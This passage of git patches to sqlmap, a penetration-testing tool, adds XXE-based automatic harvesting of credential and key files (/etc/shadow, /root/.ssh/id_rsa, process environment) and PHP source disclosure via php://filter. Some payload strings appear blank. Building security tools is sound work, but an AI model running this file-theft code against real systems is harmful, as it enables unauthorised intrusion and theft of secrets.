None and suffix is None: - self._seen.add(name) - retVal = name - break + if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I): + self._seen.add(name) + return name - if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I): - self._seen.add(name) - retVal = name - break + if attempt < self._POLL_TRIES - 1: + time.sleep(self._POLL_DELAY) - return retVal + return None if __name__ == "__main__": server = None diff --git a/tests/test_dns_server.py b/tests/test_dns_server.py index 234781297f3..918e54659ab 100644 --- a/tests/test_dns_server.py +++ b/tests/test_dns_server.py @@ -342,6 +342,7 @@ def dnsNames(self): return list(names) srv._seen = set() srv._running = True srv._initialized = True + srv._POLL_TRIES = 1 # no real sleeps in unit tests return srv def test_pop_matches_prefix_suffix_and_dedups(self): From 3b3a822e3202ddf549618079327afd1e92f2cf51 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 13:00:19 +0200 Subject: [PATCH 685/853] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a2ee55d01d1..a8c4b6d74ec 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -415708a1c10d98f964bc34ddd8dd597ec0ebb216a6e3f3aad391d9283d499f89 lib/core/settings.py +2a638eed1ff10b42b4dfa70aab9d20580169266a08f44d33da50177bc8e78bf2 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -6d2b663807178b4eed0060ed22cde5a94d1b63b7f1ce54e401f709acfd2344c0 lib/parse/cmdline.py +c9d38a60a85691cdb540e33510dd16228d6afcce0fd2ba39780f71b6da57ebb5 lib/parse/cmdline.py 925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 33ef2afb92b..e48c980ad0b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.27" +VERSION = "1.10.7.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index d70b1001d11..3bfe55d59d9 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -794,7 +794,7 @@ def cmdLineParser(argv=None): help="Test for XML External Entity (XXE) injection") nonsql.add_argument("--oob-server", dest="oobServer", - help="Out-of-band server for blind '--xxe' (default: public interactsh; 'none' to disable OOB)") + help="Out-of-band server for blind '--xxe'") nonsql.add_argument("--oob-token", dest="oobToken", help="Authentication token for a self-hosted '--oob-server'") From 3bab3cd795d60dd76439d3e53577a638ca43a2b2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 13:35:00 +0200 Subject: [PATCH 686/853] Minor update --- data/txt/sha256sums.txt | 8 +-- lib/core/settings.py | 28 ++++++++- lib/core/target.py | 2 +- lib/techniques/xxe/inject.py | 117 ++++++++++++++++++++++++++--------- tests/test_xxe.py | 30 ++++++++- 5 files changed, 149 insertions(+), 36 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a8c4b6d74ec..98118d6292d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,10 +189,10 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2a638eed1ff10b42b4dfa70aab9d20580169266a08f44d33da50177bc8e78bf2 lib/core/settings.py +f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py -15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py +69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py 96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py -e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb lib/techniques/xxe/inject.py +b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py @@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py -b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py +db002e350cded0b92327ae546d99c05c60bb7a767e56681993894f62b1248613 tests/test_xxe.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/core/settings.py b/lib/core/settings.py index e48c980ad0b..889e36e5971 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.28" +VERSION = "1.10.7.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1121,6 +1121,32 @@ ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), ) +# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests +# this curated set of high-value, fixed-path files (host identity, process env/ +# secrets, key material) - the XXE analogue of the automatic dumping the other +# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests); +# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES +# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs +# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user +# gave an explicit '--file-read' (that targeted request is honoured verbatim instead). +XXE_FILE_HARVEST = ( + "/etc/passwd", + "/etc/hostname", + "/etc/hosts", + "/etc/os-release", + "/etc/shadow", + "/etc/group", + "/proc/self/environ", + "/proc/self/cmdline", + "/proc/self/status", + "/proc/version", + "/root/.bash_history", + "/root/.ssh/id_rsa", + "c:/windows/win.ini", + "c:/windows/system32/drivers/etc/hosts", + "c:/inetpub/wwwroot/web.config", +) + # GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: # an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle # an error/exfil primitive, so no outbound network is needed. (path, entity_name). diff --git a/lib/core/target.py b/lib/core/target.py index a74955b717c..0aff961612c 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -618,7 +618,7 @@ def _createFilesDir(): Create the file directory. """ - if not any((conf.fileRead, conf.commonFiles)): + if not any((conf.fileRead, conf.commonFiles, conf.xxe)): return # Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir) diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index f6d7432cb92..2de1ee4fcb1 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -26,6 +26,7 @@ from lib.core.settings import ASTERISK_MARKER from lib.core.settings import XXE_BLACKHOLE_HOST from lib.core.settings import XXE_ERROR_SIGNATURES +from lib.core.settings import XXE_FILE_HARVEST from lib.core.settings import XXE_HARDENED_REGEX from lib.core.settings import XXE_IMPACT_FILES from lib.core.settings import OOB_POLL_ATTEMPTS @@ -229,21 +230,50 @@ def _echoed(page): def _report(title, payload): if conf.beep: beep() - place = "%s XML body" % (conf.method or HTTPMETHOD.POST) - conf.dumper.singleString("---\nParameter: %s\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload)) + place = conf.method or HTTPMETHOD.POST + conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload)) -def _dumpFileRead(remoteFile, content): +def _saveFileRead(remoteFile, content): """Save an XXE-read file to the output directory (parity with '--file-read') and - list it; fall back to a console dump if the file cannot be written.""" + return its local path, or None if it could not be written.""" try: - localPath = dataToOutFile(remoteFile, getBytes(content)) - if localPath: - conf.dumper.rFile([localPath]) - return + return dataToOutFile(remoteFile, getBytes(content)) except Exception as ex: logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex)) - conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content)) + return None + + +def _dumpFileRead(remoteFile, content): + """Save a single XXE-read file and list it; fall back to a console dump if the + file cannot be written.""" + localPath = _saveFileRead(remoteFile, content) + if localPath: + conf.dumper.rFile([localPath]) + else: + conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content)) + + +def _harvestFiles(xml, rootName): + """Proactive, best-effort file harvest run once an in-band XXE read primitive is + confirmed: pull a curated set of high-value fixed-path files (host identity, + process env/secrets, key material) the way the other non-SQL engines auto-dump + their reachable data. Returns a list of (path, content, payload) for every file + that read back non-empty; unreadable/absent files are silently skipped. Content is + de-duplicated so a parser that resolves every missing path to the same stub cannot + masquerade as many distinct reads.""" + + harvested = [] + seen = set() + for path in XXE_FILE_HARVEST: + content, payload = _tryInbandFileRead(xml, rootName, path) + if content and content.strip(): + key = content.strip() + if key in seen: + continue + seen.add(key) + harvested.append((path, content, payload)) + return harvested def _tryInternal(xml, rootName, baseline): @@ -280,7 +310,7 @@ def _tryInbandFileRead(xml, rootName, fileName): entity between two random markers so the exact file content can be sliced out of the response regardless of surrounding template. Raw file:// works for text files; php://filter base64 (PHP) carries files with XML-special bytes. Returns - the file content or None.""" + (content, payload) or (None, None).""" from lib.core.convert import decodeBase64 @@ -303,13 +333,13 @@ def _tryInbandFileRead(xml, rootName, fileName): except Exception: continue if data and data.strip(): - return data - return None + return data, payload + return None, None def _tryExternalFile(xml, rootName, baseline): """Impact demonstration once XXE is live: read a benign host-identity file via - an external general entity. Returns (systemId, snippet) on a confirmed read.""" + an external general entity. Returns (systemId, payload) on a confirmed read.""" for systemId, pattern in XXE_IMPACT_FILES: ent = randomStr(length=8, lowercase=True) @@ -317,7 +347,7 @@ def _tryExternalFile(xml, rootName, baseline): payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) snippet = _confirmRead(_send(payload), pattern, baseline) if snippet: - return systemId, snippet + return systemId, payload return None, None @@ -639,8 +669,9 @@ def xxeScan(): _OOB_CONSENT = None debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " - debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration " - debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored" + debugMsg += "in the request body and, once confirmed, automatically harvests high-value " + debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches " + debugMsg += "(--banner, --dbs, --tables, --dump) are ignored" logger.debug(debugMsg) xml = _cleanBody() @@ -661,31 +692,59 @@ def xxeScan(): # T2: in-band reflected DTD/internal-entity expansion. This proves the parser # processes entities but is NOT yet file-read impact, so it deliberately does NOT - # set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still - # run to try to upgrade a mere "expansion confirmed" into actual file-read impact. + # set `found` on its own - we first try to UPGRADE it to real file-read impact and + # then emit a SINGLE report block with the strongest confirmed vector and its real + # payload (one report per finding, as with the other non-SQL engines). The internal + # expansion is only reported on its own when no external-entity read is reachable. payload, page = _tryInternal(xml, rootName, baseline) if payload: expansionSeen = True logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") - _report("In-band DTD/internal entity expansion", payload) if conf.get("fileRead"): - content = _tryInbandFileRead(xml, rootName, conf.fileRead) + content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead) if content: found = True logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead) - _report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead) + _report("In-band file read ('%s')" % conf.fileRead, readPayload) _dumpFileRead(conf.fileRead, content) else: - # benign, in-band impact demonstration (data stays in the response, no third party) - systemId, snippet = _tryExternalFile(xml, rootName, baseline) - if not systemId: - snippet = _tryPhpFilter(xml, rootName, baseline) - systemId = "php://filter" if snippet else None - if systemId: + # No targeted '--file-read': proactively harvest a curated set of high-value + # files (data stays in the response, no third party) - the XXE analogue of + # the automatic dumping the other non-SQL engines do once confirmed. + harvested = _harvestFiles(xml, rootName) + if harvested: found = True - logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) - _report("In-band file-read impact (external entity '%s')" % systemId, "") + firstPath, _, firstPayload = harvested[0] + logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested)) + _report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload) + saved = [] + for path, content, _ in harvested: + logger.info("read remote file '%s' (%d bytes)" % (path, len(content))) + localPath = _saveFileRead(path, content) + if localPath: + saved.append(localPath) + else: + conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content)) + if saved: + conf.dumper.rFile(saved) + else: + # Harvest read nothing (content relocated in the response, or only benign + # host-identity is exposed): fall back to the pattern-based impact proof + # so file-read impact is still confirmed. + systemId, readPayload = _tryExternalFile(xml, rootName, baseline) + if not systemId: + readPayload = _tryPhpFilter(xml, rootName, baseline) + systemId = "php://filter" if readPayload else None + if systemId: + found = True + logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) + _report("In-band file-read impact (external entity '%s')" % systemId, readPayload) + + if not found: + # external entities are disabled (only internal expansion is reachable): + # report that weaker-but-real finding with its actual payload + _report("In-band DTD/internal entity expansion", payload) # T3: error-based (works where entities are not reflected but errors leak). A # redundant detection channel once in-band reflection was already seen, so it is diff --git a/tests/test_xxe.py b/tests/test_xxe.py index 8c46873c876..736f8ece04f 100644 --- a/tests/test_xxe.py +++ b/tests/test_xxe.py @@ -239,7 +239,35 @@ def singleString(self, data, content_type=None): xxe._report("Title", "Payload") finally: conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep - self.assertIn("PUT XML body", captured[0]) + self.assertIn("Parameter: XML body (PUT)", captured[0]) + + +class TestHarvestFiles(unittest.TestCase): + def test_harvest_collects_dedups_and_skips_empty(self): + # simulate a target that returns real content for two files, an empty read for + # one (skipped), and an identical stub for the rest (deduped to a single entry) + def _fake(xml, rootName, path): + if path == "/etc/passwd": + return "root:x:0:0:root:/root:/bin/sh\n", "PAYLOAD-passwd" + if path == "/etc/hostname": + return "host01\n", "PAYLOAD-hostname" + if path == "/etc/hosts": + return " ", "PAYLOAD-empty" # whitespace-only -> skipped + return "same stub", "PAYLOAD-stub" # identical for every other path -> deduped + + old = xxe._tryInbandFileRead + xxe._tryInbandFileRead = _fake + try: + harvested = xxe._harvestFiles("x", "user") + finally: + xxe._tryInbandFileRead = old + + paths = [p for p, _, _ in harvested] + self.assertIn("/etc/passwd", paths) + self.assertIn("/etc/hostname", paths) + self.assertNotIn("/etc/hosts", paths) # empty read skipped + self.assertEqual(paths.count("/etc/passwd"), 1) + self.assertEqual(sum(1 for c in (c for _, c, _ in harvested) if c == "same stub"), 1) # stub deduped class TestOobBase64Capture(unittest.TestCase): From 6597415ab056c2587489faaa0d285d12f6b1a333 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 21:45:42 +0200 Subject: [PATCH 687/853] Minor update --- data/txt/sha256sums.txt | 8 ++-- lib/controller/checks.py | 4 +- lib/core/common.py | 20 ++++++++-- lib/core/settings.py | 29 ++++++++++---- lib/techniques/xxe/inject.py | 77 +++++++++++++++++++++++++++++++++++- 5 files changed, 121 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 98118d6292d..d3fe8eaddcb 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,13 +162,13 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -0d1072ac052b65fca6da9975238b6f8816bc78603631b68ada4c7aea97f060e4 lib/controller/checks.py +ce1f56cd5abcbb71a1074e7fe198de5d6e75353ed3eb1084f6cac657118df8cb lib/controller/checks.py 00d56cc59757cc3f3073ac20735ac9954ff06242b9433a96bd4186c090094db3 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -c230a214023a6556648e6af485b42fbcd10f23d2cb9018ad7bc68e36f7241328 lib/core/common.py +19989ca19194bf3f7a42a929b153e45c9a2177e01ab6ab63a5372daa5989c0e8 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py +df067f981efe10f6743eba13c48c9c1db158ff4e9d015831e5dbfa2ece80f7bf lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py -b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py +97f3ea4342b11d57cf3bb25e2ba50dc5f561bc595c6c09eebcc2ed921d096a1f lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index a83a5f2cf27..a33fd421f6f 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1283,7 +1283,9 @@ def checkDynamicContent(firstPage, secondPage): seqMatcher.set_seq1(firstPage) seqMatcher.set_seq2(secondPage) ratio = seqMatcher.quick_ratio() - except MemoryError: + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can fail on pathological input or, rarely, with interpreter-level + # errors under heavy threading; degrade to "undetermined" instead of crashing ratio = None if ratio is None: diff --git a/lib/core/common.py b/lib/core/common.py index 9a86af8cda3..4c4a4d307c5 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2344,9 +2344,14 @@ def showStaticWords(firstPage, secondPage, minLength=3): infoMsg = "static words: " if firstPage and secondPage: - match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) - commonText = firstPage[match[0]:match[0] + match[2]] - commonWords = getPageWordSet(commonText) + try: + match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) + commonText = firstPage[match[0]:match[0] + match[2]] + commonWords = getPageWordSet(commonText) + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can fail on pathological input / interpreter-level hiccups; skip + # the static-word hint rather than abort (see findDynamicContent / comparison.py) + commonWords = None else: commonWords = None @@ -3363,7 +3368,14 @@ def findDynamicContent(firstPage, secondPage, merge=False): infoMsg = "searching for dynamic content" singleTimeLogMessage(infoMsg) - blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) + try: + blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can blow up on pathological/oversized input (and, rarely, with + # interpreter-level errors under heavy threading); a failed dynamic-content + # search must degrade gracefully rather than abort the whole scan - mirrors the + # guard around the ratio computation in lib/request/comparison.py + return if not merge: kb.dynamicMarkings = [] diff --git a/lib/core/settings.py b/lib/core/settings.py index 889e36e5971..35ab7215c3f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.29" +VERSION = "1.10.7.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1123,12 +1123,13 @@ # Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests # this curated set of high-value, fixed-path files (host identity, process env/ -# secrets, key material) - the XXE analogue of the automatic dumping the other -# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests); -# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES -# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs -# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user -# gave an explicit '--file-read' (that targeted request is honoured verbatim instead). +# secrets, key material, common application drop paths) - the XXE analogue of the +# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each +# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently +# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids +# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are +# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted +# request is honoured verbatim instead). XXE_FILE_HARVEST = ( "/etc/passwd", "/etc/hostname", @@ -1142,11 +1143,25 @@ "/proc/version", "/root/.bash_history", "/root/.ssh/id_rsa", + "/flag", + "/flag.txt", "c:/windows/win.ini", "c:/windows/system32/drivers/etc/hosts", "c:/inetpub/wwwroot/web.config", ) +# Application web roots + source filenames used, once php://filter is available, to +# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its +# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter +# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline, +# environ}. Best-effort and bounded. +XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app") +XXE_SOURCE_NAMES = ( + "index.php", "config.php", "config.inc.php", "secret.php", + "db.php", "database.php", "settings.php", "init.php", "functions.php", + "app.py", "server.py", "main.py", "wp-config.php", ".env", +) + # GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: # an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle # an error/exfil primitive, so no outbound network is needed. (path, entity_name). diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index 2de1ee4fcb1..1e62de59a59 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -29,6 +29,8 @@ from lib.core.settings import XXE_FILE_HARVEST from lib.core.settings import XXE_HARDENED_REGEX from lib.core.settings import XXE_IMPACT_FILES +from lib.core.settings import XXE_SOURCE_NAMES +from lib.core.settings import XXE_WEBROOTS from lib.core.settings import OOB_POLL_ATTEMPTS from lib.core.settings import OOB_POLL_DELAY from lib.core.settings import XXE_LOCAL_DTDS @@ -276,6 +278,77 @@ def _harvestFiles(xml, rootName): return harvested +def _phpFilterWorks(xml, rootName): + """One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates + the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless + requests for it.""" + + from lib.core.convert import decodeBase64 + + m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True) + ent = randomStr(8, lowercase=True) + subset = '' % ent + payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) + match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL) + if match and match.group(1).strip(): + try: + return bool(getText(decodeBase64(match.group(1).strip())).strip()) + except Exception: + pass + return False + + +def _harvestSource(xml, rootName, harvested): + """PHP-only follow-up run once an in-band read primitive is confirmed: disclose + server-side application SOURCE code via php://filter (source is executed, never + rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim). + Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ} + (running script + working dir) combined with common web roots/source 